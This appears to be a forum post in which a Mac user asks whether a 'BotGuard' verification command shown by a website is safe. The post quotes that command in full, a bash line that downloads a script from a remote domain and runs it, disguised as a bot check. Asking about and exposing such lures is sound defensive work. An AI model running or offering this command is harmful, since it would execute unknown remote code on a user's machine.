Is this terminal verification command safe? Asked to run while accessing a website I visited https://kittyyums.com/ and was prompted to run this command in Terminal on Mac as some kind of “verification”:
>/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL 'lfbd7bg2.runtime-atlas.digital/?ublib=85f26ff2-ae79-472d-9de9-f67fb7c308cf')"; echo ""BotGuard: Answer the protector challenge. Ref: 73282
From what I understand, this downloads and executes a remote script directly in Bash.
Questions:
- Has anyone seen this “BotGuard” verification before?
- Is
runtime-atlas.digitalassociated with any legitimate anti-bot service? - Is this normal behavior for website verification, or potentially malicious?
- If someone already ran it, what should they check on macOS?
I have not intentionally executed it and wanted opinions from people with security experience.
u/Anshulraghu — 7 days ago